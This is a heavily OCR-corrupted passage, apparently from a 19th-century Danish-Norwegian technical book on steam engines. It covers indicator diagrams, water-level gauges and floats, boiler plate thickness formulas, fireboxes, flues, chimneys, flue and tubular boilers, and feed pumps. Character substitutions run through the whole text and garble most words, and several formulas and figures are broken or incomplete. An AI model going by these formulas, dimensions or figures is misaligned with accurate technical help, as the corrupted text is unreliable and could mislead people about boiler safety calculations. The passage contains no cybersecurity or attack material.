poi« ©træfning etter ©ammentrpfning maater ©amptrpffct etler ©acum. ©falen er ans
bragt tangg Slabningen KK, og bedt f ©unb pr. Oeabrattomme. Ubenoin ben inbte
©ptinber er anbragt en pbre, LL, fom fan breie fig om ben inbre; ben nebre S)eet
par enSribfe MM, poorom ber gaacr en ©nor, fom foejteg til en etter anben ©Jaffinbeet
etter en foerjfilt Sagtjtang, ber fotger ©laget, men gjor minbre ©coagetfer; Ubrfjebren
NU potber benne ©nor bejlanbig ftram. Ubcnom LL er, for 9teenligpcb« ©fplb paa
en foerjfilt #plfe, anbragt et ©tpffe ©upiir; ©iferftpffct G par en 2trm HI, fom meb
et Stpant I opffrioet paa ©apiret bet tit poet ©tilting af LL, attfaa tit poet ©ed af
©taget, pøtenbe ©amptrpf etter Saeum. ©aa ben ©Jaabe frcmfommer en frumlinict
gigur, bet faafatbte 3nbicatots©iagram, pooraf nogte (fjempter ftnbeO paa ©tabe 3 gig.
64 tit 68 . ©armere om bi«fe« ©rug i ©apitlet om ©JajfinerncO Sffect. ©apiret,
poorpaa giguten tegneg, er unbertibcn anbragt paa en ©tabe, ber gaaer frem og tilbage,
ijtebetfor paa en Eptinber meb brcienbe ©eoægdfe. ©igtigpeben af 3 nbbetingen fan
proo st ocb ©ammentigning meb ©acuumeter og ©ianometer, naar man nemlig fatter
3 nbieatoren paa gortatteren etter paa fijebten. 6 n gjennemboret og meb firan forfpnet
Sap, paofenbe tit guttet for ©morefranen, pleier at oare bet bcqocmmcjle ©iibbel til
3n(trumentet8 Slnbringetfe paa Gptinberen.
§ 12. Sit at conirotlere ©anbjlanben i ffjebterne brugeø ©anb(tanbgmaatere af
forffjettige ©Iag«. So firaner, anbragte paa fijcbten, ben ene tibt ooer, ben anben
tibt unber ben rette Sanbtinie, banne et fimpett og paalibeligt ©Jibbet tit Unberfogdfen,
naar be blot flittigen brugeO. ©en oore ffat naturtigoiiO gioe ©amp, ben nebre Sanb.
©aabanne firancr paoe ftben ©ampmaffinenO tibligjte Sib oaret i ©rug unber ©aon af
©tøoebaner (guage cocks), og bor iffe mangle paa nogen fijebte. Unbertiben anbringees
tre ffiraner i forffjettig fjoibe ijjcbetfor to.
ffianb(tanb«roret, gig. 7, er et ®la«rør af 3 U a 1 Somme« ©iamder, fom
meb begge Snbet ftaaer i gorbinbetfe meb Stjebten ; ben ene 3nbfatning er ooer, ben anben
unber fflanbfinien, og naar ftrancrne A og B aabneé, (titter ffianbet (tg i famme $øibe
i Blotet fom i Stjebten. C og D er ©afbegfinger, poormeb ®(a«fet potbeO tat i ©ietat*
Digitized by Google
17
inbfatningerne ; E tr tn ltbett Kran, psortgjennem ©mubS fan blcefeS ub af Otoret.
©aabanne SSanbftanbSror brugeS i Stlminbeligpeb iffe til ^otfr^fsfjebler, forbi man iffe
fan faae ©laSror, fom ere ftærfe nof.
glpberen (gig. 8) anoenbeS meefi paa faftjtaaenbe Kjebler. A et eit puulKobs
berfaSfe, (unbertiben en ©anbflecn, booraf IRaonet floating stone), opbængt t en Kobs
bertraab AB, fom gaaer ub gjenneni en fJkfbøSjing H i KjeblenS Oocrftbe og fortfeetteS
meb en Kjoebe, fom gaaer om hjulet C. E er en iDtoboaegt, faalebeS afpaéfet, at
gricttonen boa C’S Stjel og i Soéjtngeit H meb ©ifferpeb oocroiubeø, naar SBanbet inbe
i Kjebelen ftiger eller falber. Siferen F oil ba angioe SBanbftauben. IraabenS 8eoce>
geligpeb bor jceonlig prooeS oeb at man traffer i 2ftobo*gten, booreftet SBiferen af ftg
fei» ffal gaae tilbage. ©fal glottcur anoenbeS »aa ©fibsfjebler, faa anbringes ben
bebjt paa ben ene gnbe af en Scegtfiang, botS anben ®nbe er faft til en Strei, fom
gaaer gjennem 'fJafboOftng paa KjeblenS gorjibe og forer ber en SBifer. ‘Jaa ffirunb
af glotteurenS ibelige ©tigen og galben unber ©fibets ©eocegelfe ere SBiferenS Sngioelfer
ubeqeemme at iagttage og b flt 3"bretningen oanffelig at fjolbe i Crben; men boor
SanbflanbSror iffe er anpenbeligt for Jrpffets ©fptb, bor glotteur beSuagtet anbringes
til Gontrot meb SBanbjtanben, om $rooefranerneS S3rug ffulbe blioe forfomt.
35a ber fan opftaae gare for en KjebleS Sprarngntng, om Sanbftaitben ffulbe
blioe faa lao, at nogen 35eel afSlbflaben bleo tor, faa anbringes jtunbom enSarmpibe,
faalebeS at SBanbetS ©pnfeti unber et oift SJWniraum aabner en IJJrop og gioer 3)ampen
Slnlebning til at blcefe gjennem tJSiben, ber ba gioer en fiaerf gpb.
§ 13. ©alinometrets 3«bretning og fjenfigt er allerebe foran ombanblet.
glpbeocegten forfarbigeS beels af ©laS, ber er bitligt, men ffrobeligt, beels af forgplbt
Kobber. 35en anbringes t et tilfhratffelig beit eplinbriff Kar, fom gjennem et 9tor
faaer Sanb fra Kjeblen. 3)a ben florfte ©altpolbigpeb pleier at forefinbeS ftrar ooer
Slbjtebeme, bot Df øret ubgaae fra bennc SDeel af Kjeblen. Ipermometret er anbragt i
famme Kar; lemperaturen, oeb poilfen 3aøttaøelfeit ffal fotegaae, maa ocere angioet
paa 3*>fhumentet. 3bet SJanbet fommer fraKjeblen, er bet oarmere; man oenter til ben
forlangte Seraperatur er inbtraabt, og feer ba efter om gfpbeocegten flpber bpbt nof.
2
Digitized by Google
%nått fagM
Sjebicr.
§ 1. Stampfjebter forfatbige# nuattib af oatfebe gernfilaber, fom fammenføie#
Beb $jatp af Sfinfnagter og Sinfeljern, faatebe# fom Biifi i gig. 15. A, C, C ere
Staglerne, B ©jennemfnit af Sinfeljernet. gugcrne tatte# Beb ai man meb en but
iWeifel flinfer ben inbre Sant af ben fibre fijlabe, faalebess fom B, E, E antfiber.
fJSaa £øitrpf#fjebler bruge# to Staber SRagler, anbragte i 3tffaf, fom D, D, D. 3
mange Stjebter ftnbes beøuben en tSiangbe Stor af 2 a 3 lommer# Stiameter, ber
unbertiben ete af 3«n meb fammenfoeifebe Santer, unbertiben ogfaa af 2Jte#fing.
Dampfjebler affiobber fiaøe Baeret forfogte ; at be, paa@runb af bet ©mubøtag,
IjBormeb 31bflaben altib oBertraffer fig, iffe funne gjøre# safentlig minbre enb 3«n=
fjebterne, er foran omtalt. Ste tare sifinof tangere, men iffe i famme gorfiotb, fom
be fofie mere enb Jernfjebter, og bruge# berfor fun i enfelte Jitfalbe, fisor Stcparation
og Ombfitning af .ftjebter mebforcr faa fiore Sanffeligfieber, at £enffinet tit Sarigfieben
btioer albele# oteroeienbe. Sjebler af ©tøbejern fiaoe Baret i Srug, men be maatte, paa
@runb af ©tøbejernet# ©fjørfieb i opfiebet Silfianb, gjøre# meget tpffe, og tare be#uagtet
iffe paatibetige.
§ 2. ©fal en Sjebfe ubsifle Damp af betfibetig ©panbfraft, faa maa ben
Bare cfitinbriff, fietfi meb fiufBfugtefonnige ftitber. Da nemlig ©rfeten er ben gigur,
fom meb tn giten ©mfreb# fiar fiorfi 3nbfiolb, faa føger ct^Bert Sar, ber paaoirfe# af
et Stfif inbenfra, at antage eirfetformigt ©jennemfnit, og fijtaberne# SKobfianb mob
SBøining er iffe titfiraffetig tit at mobfiaae benne SBefirabetfe. ©aa tange Irfiffet er
moberat, fan man B eb SRibber af SBinfetjern og Beb ©tagbotte mettem ©iberne fiinbre
gormforanbringer ; tcb fiarft Srfif raffc bi#fe SMibter iffe tit, og #øitrfif#fjebter maae
berfor fra førji af gjøre# cfilinbriffe. ©eto paa 2aBtrfif#fjebler unbgaaer man faatibt
mutigt fiørre plane gtaber.
Den Sraft, fioornteb et inbtenbigt Srfif firaber at fprange en fiuul ©fitinber,
er lig Irfiftet paa en ©ection gjennem Sljen; Sraften, fiBormeb Sfitinberen mobfiaaer
©praengning, er ben abfotute ©tfirfe af bet Beb famme ©nit gjennemfTaarne tDtetat.
©r attfaa Damptrfitfet pr. ©Babrattomme (oter Sttmofpfiaren) p, ©filinberen# Diameter
D lommer og ®ob#tfiffetfen t, famt jfilateriatiet# abfotute ©tfirfe pr. ©Babrattomme
lig K, faa maa
p. D — 2 K t,
3emptaber# abfotute ©tfirfe fan Bifinof naae op til 50,000 W pr. CBabtai--
tomme ©ection, men fieraf gaaer i Dampfjebler omtrent $aløbeten tabt Beb ©jennem*
boringen for Stagterne. Da beøuben en ftjeble maa fiaoe titfiraffetig ©tfirfe mob
©prangning i fflefiotb efter at en betfibelig Steel af fiStabetfiffetfen er bortrufiet, faa
Digitized by Googb
19
bor ben font npe baoe et ftort Ooerffub af ©tytfe.
af gormelen
6000
2Jtan beregner berfor Spffelfen t
3 granfrig et oeb Sop beftemt, at Stampfjebler* Spffelfe ibetminbfte (Tal Boere
1=0,0018 nD -f- 0,003, boor (Dtaalene ubtrnffe* i SRctre og n er Stamptrpffet (
Sltmofp^cerer. Stebuceret til lommer og ®" br. Ooabrattomme blioer benne gormel
e-P»
8000
-f 0,12. gor p = 60 og D = 5 gob = 60 lommer gitter benne
gorrael t = 0,67, ben foran anforte t = 0,6 Somme.
Sta Sernplabet af ftorre Spffelfe enb Vs Somme iffe labe fig baanbtere og
flinfe meb fornoben Setbeb og ©ifferbeb, faa funne fijeblet til 56 a 60 j?* Stamptrpf
iffe faae ftorre Stiameter enb 5 gob; til 40 a 50 t?* Srpf fan man bntge inbtil 6
gob* Siameter. $øitrpf*fjebler til flor Straff faae berfor betpbelig Sængbe, eller ogfaa
maa man base mange af bent. Saotrpféfjebler gjereS, for at funne Bare nogen Sib,
altib ttjffere enb be efter gormlerne beruse at ocere, nemlig albrig unber V« Somme
og for bet mejte 5 /ie a 3 /s Somme tpffe. ®n Sfjeble meb 8 a 10 ®* Srpf pr.
Doabrattomme fan ba trpgt bruge* til omtrent */a af (JMabetpffelfen er fortæret. ©ftb*.-
fjebler, font forbampe ©eeoanb, Bare fjelben mere enb fire 21ar unber fiabig Brug. 3
ferjft Banb er Barigbeben betpbelig fiorre. 3o boiete Stamptrtjf man bruger, bcfio
minbre Bortruftning taale fiSlaberne, og befio fortere Sib Barer Stjebfen.
§ 3. Slbfiebet til en S>ampfjeble anbringe*, naar Stjeblen er fafiftaaenbe i
fianb, unbertiben unber benne i SDtuurocerfct, ^oorpaa ben boiler, faalebe* fom antpbet
i gig. 25; men be fiejie Sanbfjcbler og alle ©fibdfjebler base 3lbfieb af gernplaber,
anbragt inbe i Stjeblen, og oneralt omgioet afBanbet i benne, ba ftjlnberne eller* cilbe
blioe globenbe og forbcrrncé t meget fort Sib — garen forgjplofion uberegnet. gig.
16 er et ©jennemfnit efter Saengben af et faabant 31bfieb. Brcrnbfelet tioiler paa JRifler
A, A, i Sllminbeligbcb af fiobt 3etn, og bi*fe fettile igjen paa Stcbplaben C og 31b»
brpggen D. (Kan gjor iffe tengete Sftifier enb 3 a 4 gob, njeit naar 3lbfiebet fTal
Boere latngere, beler man Stifterne efter Saengben og gioer bem oeb Stelingen en foerffilt
(Riftboerer B. Oser 7 gob langt gjor man iffe gjerne et 3!bfleb, ba eller* Stebffaberue
til 31bningen blioe for ubaanbteerfige og ben inberfte Steel af 31ben nanffelig at paSfe.
Slrealet af (Riftflaben er gjerne 0,55 Gnabratfob pr. nominel ftefiefraft (fee 5te Stapitel) ;
ubforbrc* ber for at frembringe bette en fiorre Brebbe enb omtrent 2 gob, faa fotbeler
man bet paa flere Sfbfieber. SKellemrummene meltem Stifterne ubgjor omtrent '/s af
Stiftflabcn. 31bbrpggen luffer meb fin nebre Steel for Slfferummet F; benne Steel et
unbertiben fiobt, unbertiben af Siuutocerf. Sten oore Steel, fom umibbelbart oilbe treeffe*
df glammen, faaer altib en Beflabning G af ilbfafi 2Ruur. ©terftebeten af ben Suft,
fom ubforbre* til gorbroenbingen, finber SSei til Broenbfelet gjennem Stifterne* 2Mem»
rum; fot at forbroenbe Stegen anbringe* en Slabning 0 i 31bbrpggen, fom flipper en
minbre (fortion Suft tnb i SRoggangen R. Slfferummet* forrefie gnbe er altib aaben,
naar Slbfiebet er t SBirffonifjeb ; ben fan luffe* mere eller minbre meb en forboengt lo*
Blabe, naar 3lben ffal boeinpe*. 3lcjteb«boren E bolbe* altib luffet, unbtagen ben Sib,
fom bebeoe* til at fafie Broenbfelet inb og forbele bet ooer Stiften; ben gjore* bobbelt
fot iffe at blioe gloenbe paa Ubfiben, og beooegcr fig paa fjaengfier for at tuime aabne*
og luffe* meb fiet^eb. Sten bar for bet mefte en fiobt Storfarm, ber ffruc* fafi til
2 *
tgle
Kjeblen. #enfigten meb Dobplaben, fom bleiet at tette 6 til 8 lommer lang, er at
ljolbe 3lben borte fra SlbftebOboren, og at tjene fom Oplaggfteb for be ftbft inbfaftebe
Kul, bet bor ligge og opsarmet noget for be brebeS ub oter Stiften.
Stabning i 3lbbrpggen for Suft til Støgforbrænbing brugeø iffe altib; t>aa nogle
Kjebler ftnbeO ben, men er forfinet meb en Suge til at aabne og luffe efter ©efios.
Sftebetfor af ©tobejern og 2Ruur gjoteO Jtbbrpggen unberfiben af Kjebleplabet meb et
Sanbrum imeHem, fom ba ftaaer i gorbinbelfe meb Sanbet i ben oorige Deel af Kjeblen ;
men bet er oanffeligt at ffaffc tilftræffelig frit Slflob for ben paa bette ©teb uboiflebe ©amp.
|>oiben af et 3ib|teb for ©teenful, fra Stigen til laget, er gjerne metlem 12
og 15 lommer; gjoreO ben fot flor, faa tabeø enbeel af Saget* ffiirffoinbeb fom3lbjtabe;
er ben for liben, faa fsæffeø gorbrænbingen oeb Saget* affjolenbe ©irfning. 3lb|teber
fot ©eeb maa sære betpbelig bpbere enb for Kul; tbt Saget paa Stifterne maa sance
temmelig, tpft om iffe altfor megen ubrugt Suft ffal flippe frem mellem be enfelte
©tpffer.
§ 4. (gfter at sære paéferet 3lbbrpggen gaaer ©trommen af gorbrænbingø*
probueter inb i SRoggangen; bennc maa baoe faa flor ©ection, at SRaøfen fan flippe
igjennem meb ben ^ajtig^eb, fom ©forftenen frembringet, og ben maa base faa flor
Ooerflabe, at al ben ©arme fan flippe igjennem, fom Stegen uben ©fabe for ©forftenen*
©itfning fan afgise. 3* fj^iere man gjer ©forjtcnen, befto ftorre bliser siftnof Stogen*
$aftiglieb; men benne soper burtigft i ©egpnbelfen, faa at man oeb at foroge £oiben
oser 30 gob sinber fot^olbøsii* libet i #ajligl;eb. 3lt man beøuagtet gjor Dampffor*
ftene ilanb 60 gob fjoie og beroser, bar fin ®runb i, at man sil bringe Stogen boit
tilseirø for at blise lettere af meb ben oeb ©inbeneO ©irftiing. Sil ©fibsfjebler er
©forftenen alminbeligsiio 30 gob boi. ©en tilfoareube ©torrelfe af Stoggangen cr
gjennem Srfaring funben at sære 10 a 12 OsabrattommerO ©ection og 14 Osabratfob*
Slbflabe pr. nominel .fjejtfrafl. Den jtbfie Stegel* ©etpbning sarierer noget meb ©til*
lingen af 3<bflaben; ©fange regne berfor iffe nebabsenbt 3lbflabe meb, balst ©real af
ben serticaltjlitlebe og Va af f;ori;onta!e Stor, famt forlange 10 Qsabratfob, beregnet
paa benne SMaabe, pr. •jjeftefraft. Da Stogen affjole*, meben* ben er unbersei*, faa
aftager ogfaa ben* ©olum, og ©ectionen af Stoggangen bor berfor aftage noget benimob
©forftenen ; benne* ©ection gjøre* i Mlminbeligbeb 8 a 9 Osabrattommer pr. $eftfraft.
Den neberfte Deel af ©forftenen omgise* meb en Kappe af tpnbe 3ernplabcr, ba ben
bliser faa peeb, at ben tan tænbe 3tb paa Sing, fom fomme ben nær. 3mellem
©forftenen og Kappen maa sære Sufttræf, fom affjoler Stappen, ©laberne i ©forjleen**
roret ere gjerne Vs Somme tpffc og faminenfoie* meb fmaa Sfagler, fom flinte* fotbe.
§ 5. gorfoger man ab tbeoretiff ©ei at beftemme ©torrelfen af Stoggangen*
©ection og 3lbflaben, faa fommer man til folgenbe Stefultater. gorbruget af ©teenful
pr. nominel £>ejiefraft fan anfætte* til 10 H i Simen; beraf bliser imiblertib iffe mere
enb omtrent 6 & fulbftoenbig forbrænbt, og bi*fe fræse 6 X 250 eller 1500 Kubiffob
folb Suft. glammen* Semperatur fan anfætte* til 320, Stogen* i ©for)tenen til 160° St. ;
©olumet af Støgmaøfen pr. ^efletraft bliser faalebe* 3700 Kubiffob i ben forrefte,
2600 Kubiffob i ben bagejie gnbe af Stogcanalen. $aftig^eben af Støgmaøfen i en
©forfteen af $oiben H, ©ectionen a og Omfrebfen s fan — tilnærmelfeøsii* — betegne*
efter gormelmt
V = K 62,5 H.
218(1 + U,04.“' *>
21
fyrer T er Stogen! Slemreraturorerffub orer ben fybre 8uft og 1 8angben «f en gtabe
raeb Srebben s og Streal ligt Stoggangen! og ©forftenen! famtebe Orerflabe. ®teb
H = 30 g, T = 140°, a = 10 □ g, sl = 2000 □ g, (be to fibfte ©torrelfer frare
til 140 §. S. omtrent) faae! V = 11,6 gob rr. ©ecunb eder 41,800 gob i limen,
forn biriberet i foran funbne SBolumer giret ©ectiønen 5 n lomme for ben fotbeSuft
12 for glammen og 9 fot Stegen »r. £eftfraft. 25c to fibfte ©ectioner ete be i ftlrarii
brugelige; at man gjor Slrealet af Stiftene Stabninger omtrent 5 ©ange faa jtort, forn
til ben folbe £uft! ©jcnnemgang befyorc!, bar naturligrii! ftn ©runb i, at be altib
rille roere mere eller minbre luffebe af SBroenbfelet. gorbroenbingerrobitcternee URibbel*
temreratur unber fJJaefagen gjennem Stoggangen er 240°, Sknbet! fan anfcetfee til 90°
og Orerffubbet raa ben rarme ®ibe af IJSlaberne altfaa tit 150°. 25a nu 6 W ftu( gire
30000 Kalorier, og 1 Orabratfob reen ftliabe gjennemflirrer 53 Kalorier i limen for
30000
brer ©rabe Jemreraturorerffub, faa rilbe ber af faabarr fpiabe befyore! ^ 5 (f ^53 e ® er
fnar 4 Orabratfob rr. ■fjeftefraft. $rorfebe! Stog og ©rnub! foroge 8ebning!mob«
ftanben er foran omfyanblet; Stegningen rifer flarlig, fyror rigtigt bet er, at en Sjeble!
Slbftabe fyolbe! faa reen fom muligt.
§ 6. 3 Sjeblet til fianbmaftincr anbringee for bet mefte Slbftebet i ben forrefte
25eel af et c^finbriff Stor af Jfjeblerlaber, fom gaaer f>ee(t igjennem Sjebten; efter at
bare raOferet bette, gaaer Stogen lang! 3)berfiben af SjcMen gjennem Kanaler, fyrt! tre
©iber bamte! af Sttnurroerf, ben fjerbe afSjeblen felr, til ©forftenen, ogSjeblen gjore!
faa lang, at ben fornobne Jlbflabe fremfommer. ©mborb er iDtuurrarf iffe anrenbeligt,
og fpiabfen tillaber beiler iffe Srugen af faa lange Sjebler fom ilanb. gor at funne
anbrige Jlbflaten i bet minbft mulige Stum og rna forbeelagtig SKaabe i SBerering meb
SBanb bnr man conftrueret Stoglebningen raa mange forffjeOige røaaber, og berreb bannet
ligefaamange forffjellige Konftructioner af SDamrfjcbter. 25e funne bog alle benfere! til
eet af to £oreb|Iag!, nemlig be celtre 9tøggang!fjebler (Flue boilers) og Storfjeblerne
(Tubular boilers). 3 be forfte famle! glammen fira alle Sjebten! 31bfteber, ftrar
efter at ben er ra!feret 3!bbrfyggerne, i een Stogcanal af ben foran angirne ©ection,
og benne gaaer frem og tilbage i 3iffaf inbeni Sjeblen, for bet mefte i een men unber*
tiben ogfaa i to Ktager, inbtil bet fornobne Streal af glbffabe er frembragt. 3 bet
anbet famle! glammen fra 3tbfteberne rei ogfaa i et fatte! Stegrum, men Stegen gaaer
berfra gjennem en Stengbe Slot af liben 25iameter, altfaa i mange famtibige minbre
©bomme, til et anbet Stegrum, brorfta ben aflebe! til ©rorfienen. Streatet af famtlige
Storaabninger er gjerne noget ftorre enb ©ectionen af en enfelt Stogcanal ffutbe bare
roret. 3 ° fnarrere man gjor Storene, befto ftorre Orerflabe faaer man meb et giret
Streal af Slabninger og en giren fiangbe af Storene; men for geiningeni ©ffytb fan
man iffe bare bem alt for fnerrre; 27a til 3 lommer er ben fabranlige 25iameter af
Storene i ©fib!fjebler ; meb en Sangbe af 7 gob rille be ba rare iftanb til at aflebe
fra Stogen faa megen Sarme fom ben, uben at Jraffen i ©forjienen bliret for frag,
fan afgire,- og benne Sangbe afgirtr be!uben ra!fenbe ftllab! for Slbfteberne, naar bi!fe
ere rnradele meb Storene, anbragte unber eller raa ©iben af bem. Sortere Stor bruge!
unbertiben, men be afgire Stogen meb for hoi lemreratur tit ©forfienen, frilbe altfaa
Sranbfel. 3 -tioitrrjføf jebter ere berhnob Storene ofte (angere og fnarrere, ba man,
reb at flinre ben brugte SDantr ub i ©forftenen, fan faae en meget fjeftig Iraf, enbog
meb en lar ©forjieen. fiocomotirerne! Sjebler ere conftruerebe efter bette ftlrincir.
Digitized by Google
22
itubifinbbolbet af ffjebler til Sanbmaffiner er gjente 20 tit 22 ffiubiffob pr.
^egefraft, b Bora f omtrent 3 U er San brum og iRøglebning, V* ®amprum. 3 ©fibø*
fjeblet gjor man, uben $enfpn paa .ftufcitinbfiolbet, Sanbrummene mettem Størgange og
Stør faa fmaae, forn be nogenlunbe begoemt tunne forfarbigeø og ftben reengjoreø ; beroeb
tabeø intet anbet enb at Uregelmaøfigbeber i Dampforbrng og gøbning foranbrer Sanb»
maøfenø lemperatur hurtigere, om man iffe gra* mobererer gpritigen. Ogfaa ®amp»
ntmmet inbffrctnfeø ofte, bog bor bet albrig Bære tninbre enb 8 ©ange ©plinberneø
Snbbolb, ba ellerø biøfeø gorfpning meb Damp frembringer SfBeplinger i Jrpffet i
Æjeblen, fom (et besitte Bolbfomme Opboblinger. SeffriBelfe oser be meeg brugte ©on»
gruetioner af Oampgibøfjebler felger.
§ 7. gig. 17 Bifer ben ene af et (J5ar Støggangøfjebler for 80 fpegcø Jtraft
i '/«s af rette ©tørrelfe og i borijontalt og Berticalt ©jennemfnit. gra 3lbflebeme A
gaaer 31ben oser 3lbbrpggeme B inb i Ben bugtebe Slbgang, og gjennem benne, faalebeø
fom Silene Bife, til ©forgeenøopgangen D. lo ffljcblet ftaae Beb ©iben af bittaitben
og hase foelleø ©forgeen EE, omgisen af Jtappen FF. gor at be ftabe ©ibeooegge af
31b(!ebet og Støggange ifte ffiilte flemmeø fammen, eDcr paa attben Staabe foranbte gorm
unber SnbBirfning af ®amptrBffet, ere be afgtocbc meb Sinfeljerit og ©tagbolte, faalebeø
fom Biijt i Slantegningen j Sinfeljernene ete flinfebe til begge ©iber af Sanbrummene,
©tagboltcne gtuebe igjennem og fotfpnebe meb Støttriffer paa begge ©nber. Sunben
af Sgerumraene et paa iignenbe Staabe boltet til gfberfjeblen, og be gate ®ele af
benneø Bagge ere forjtøttebe meb langere ©tagbolte langøefter og tBerØooer Sjeblen.
GG er Sanblinien; Beb H lommer gøbtBanbet inb. I et Sfbloeøningøfrantn, KStub»
berlugerne, fom tageø af, naar Sunbfalbet i Sjeblen ffal rageø ub. S«a ben bortjtaarne
®eel af ®amprummet gtibeø en Iignenbe £uge, got nof til at enStanb tan flippe inb
i Æjeblen (Kanbbulølugen). L er SDamprøret, M SaagipningøBentilen, fom aabneø og
luffeø Beb en ©frue, psiø glatte gortfattelfe gaaer igjennem en Safbøøgng paa Sen»
titfaøfen. Sa a gorftben af Sjeblen gaaer Støret inb i en Æaøfe, fom ogfaa optager
®amprøret fra ben anben $jeble, og bporfra et Støt af bobbelt faa gor Slabning leber
til Staginen. N et ©ifferbebøoentilen, 0 benø 2ob, fom fan løfteø men iffe bofbeø
nebe Beb #jælp af Sinfelocegtgangen P; benne beocegeø igjen meb ©tangen Q, fom
paa gorgben af Jfjeblen par en ©frue. Sfaøfen R og Slgøbørøret 8 for ©pilbbampen
ete fceUeø for begge fljebler. ®t fmaffert Stør fra Sunben af Itaøfen leber bet ber
anfamlebe Sanb onerborb eder neb i Sunben af ©fibet, ba bet ellerø Bilbe blcefeø op
gjennem ©pilbbamprøret, naar man aabnebe Sentilen. SHanometer, Srotebaner og Sanb»
ganbørør ere ubelabte af legningen. Unbertiben anbtingeø i#øibe meb ffjeblenø Sanb»
linie et fmceffert Stør meb Kran, pBorigjenncm ©fum og Urecnligbeb lib efter anben
fan blcefeø af gra Ooergaben; faabanne ©fumrør pleie bog at groe temmelig fort igjen
af lalg og ©mubø. ©nbelig gnbeø paa benne fom paa enljpcr anben ®ampfjeb!e en
liben conig Sentil, fom fan aabne gg ubenfra inbab, naar Irpffct i Sfjeblen gaaer neb
unber tltmofopcerenø. Sfunbe ber banne gg Saeum i ffijeblen, faa Bilbe ben, ba gorm
og gorbinbing iffe ere beregnebe paa at mobgaae uboenbigt Jrpf, beffabigeø.
§ 8. gig. 18 Bifer gorgben og et Berticalt ©jennemfnit af en Størfjeble,
ligefom gig. 17 i Vas ©tørrelfe og til famme flraft. SDenø porinjotale Ubgræfning
er iffe mere enb •fjalobelen af Støggangøtjeblcnø, uagtet ben bar noget gørre Jlbgabe
enb benne, men ben er omtrent en Jrebiebeel bøiere. $Bor benne gørre #øibe iffe
binbrer benø SlnBenbelfe, er ben altfaa forbeelagtxgere meb $enfpn til Slabfen enb
Digitized by Google
23
Støggangafjebten; ©<ogt og ©rii* et omtrent ben famme, ©arigpeben unber jern ©rug
ogfaa, unber Dplag berimob minbre, om man iffe truger SDteapngror, poorpeb ben blioer
borere, gra be tre Jlbfleber A famle* Stegen i beit tagerpe Stogfaøfe C ; benne* gotfbe
banne* af bagcrPe IRørplabe DD, og ntellem ben og EE er antragt 145 Sier af 2 Vi
Zomme* Diameter, meb Vs Xontme* ®ob«. Stegen pa*ferer gjennem Stercne til forrepe
StogfaSfeff?, og berpra gjennem Stogfaitgei H til ©fotpenen. gorpben af forrePe 5tegfa*fe
banne* af to finger forn G, ber funne aatne* unber ©angen, for at man fan fomme
til at feie Yterene, forn eller* fnart oilbe blioe fulbc af ©ob. Denne ftjeble par, til
Perte ©ifférpeb mob Ooerfogning, en Dampfa«fe KK ooenooer ben egentlige ffjeble,
©ifferpeb*oentilen er antragt ligeban forn i gig. 17; L er ben for to Jfjebler foelle*
Sentilfa*fe,; L’ ©tøttriffen hl ben ©frue, poormeb Sentillobbet lefte*. T ©acumoentil ;
M Damptøp. M’ ©aapipningéocntil, 0 Damprcret til ©taffinen ; P ©tanbpul, Q ©lub»
berluger, R 9lfblce*ning*fran, S Slatningen for gøbcoanbet. ©tagtolte, ©tanømeter,
©røpepaner log ©anbPanbørop ere ubclabte af Xcgningen.
§ ff. gig. 19 oifej 3nbretningen af en |>øitrpf*fjeble for 20 fjepe* Jtraft,
meb Stor paa ©iben af 3lbffebet. Dette er ligefom i fianbfjebler antragt i et oibere
Stør A, ppotfra Stogen gaaet til tagerpe Støgrum B og gjennem be fmaae Stor tiltage
hl gorPben af Sjeblen; forrepe Stogrum D inbepolbe* i en focrffilt flaøfe af fmtoffrere
©laber og fortfoette* af ©forPencn. Damproret E gaaer lang* Ooerpben af bet fem*
melig fnccPte Damprum og er .gfennemtoret paa Coerfanten meb mange fmaae puller,
men foroorigt luffet, i ben •fmiftgt, faapibt muligt, at pinbre ©anb fra at folge meb
Dampen inb i SPaffinen.
©tørre Sfjebler meb ff ere 3lbffeber oilbe meb Storene paa ©iberne af bi*fe faae
en uforpølb«mæ*pg ©rebbe. ^oor man iffe par .pcibe til Stor oøer 31bPebrrne, og
be*uagtet pil anpenbe Storfjebler, anbringe* Storene i glugt meb 3Ibpebeme, faalebe*
font antpbet i gig. 20. ©aapanne Sjebler paoc ifoer ooeret anoenbte paa minbre ®n»
gelffe firigøffibe, men pape piip a ffg oanffelige at polbe teette, ba glammen birecte fra
31bpeberne pirfer oolbfomt paa Storene* forreffe @nbe og i Sllminbeligpeb peller iffe
forbeler pg ligeligt paa bem alle. gig. 21 pifer en ffjeble meb oerticale Stor tmellem
3(bpeberne. ©anbet er inbeni Storene, 3lben ubenom. ©aabanne ftjebler ffuPe pa»e
ooeret anoenbte meb gob Sirfning ; bet maa imiblerhb ooere Panffeligt at forbele 31ben
nogenlunbe jeont til alle Storene og at polbe reent imellem bem.
§ 10. Xil enppet fljeble porer et gobeapparat, poormeb bet forbampebe ©anb
erffatte*, faalebe* at SBanbffanben i fijeblcn SfPanbig tlioer ben famme. gappaaenbe
fijebler, fom fun uboifle Damp af liten ©poenbfraft, faae ofte et poit oerticalt Stor,
fora meb pn nebre ®nbe roeffer neb i ©anbet i Sjeblcn og i ben oorc mobtager gobe--
oanbet (Standpipe) enten fra en poitliggenbe Sepolber eller fra en Xrpfpumpc. ©ans
bet ffiger i Sløret omtrent to gob for poert ©unb* Damptrpf paa Goabrattommen, og
Storet tjener faalebe* tillige fom ©ifferbebøoentil. 3 ben o*re ®nbe er gjerne anbragt
en Sentil, fom ffaaer i gorbinbelfe meb ftjeblen* glotteur, faalebe* at ben luffer Pg,
naar ©anbffanben i ftjeblen par naact en beffemt fjøtbe. gobeoanbet ffpber ba af
gjennem et Slfløbaror eller famler Pg i ©epolberen.
Staar Damptrpffet er porre eller fijeblen bePoegelig, faalebe* fom omborb i et
©fib, foregaaet gøbningen oeb -fijcelp af en Xrpfpumpe, gobepumpen.
De ffepe ©taffincr paoe to gobepumper, fom brioe* af ©taffinen ; beøuben anbringe*
enten en fjaanbpumpe, poormeb ftjeblen fan fplbe* fra førff af (forfaaoibt ben iffe ligger
Digilized by Google
24
unbet ©fibeté Sanbtinie) etter en focrfTtU minbte Damputaffine, ben faafatbte Donkey,
ber forretter gøbningen, naar ben [tørre ®tajfine fiaatr [titte, ©utette meget burtig-
gaacnbe SUta [finer Ijare itle gøbepumper forbunbne meb fetre røajfinen, forbi bereø SSen*
titer ritbe ftaae færbcleø ootbfomt, men blot 3)onfeppumper.
gig. 23 oifer i ©jennemfnit en enfettrirfenbe [Jumpe (plunger pump) faatebeø
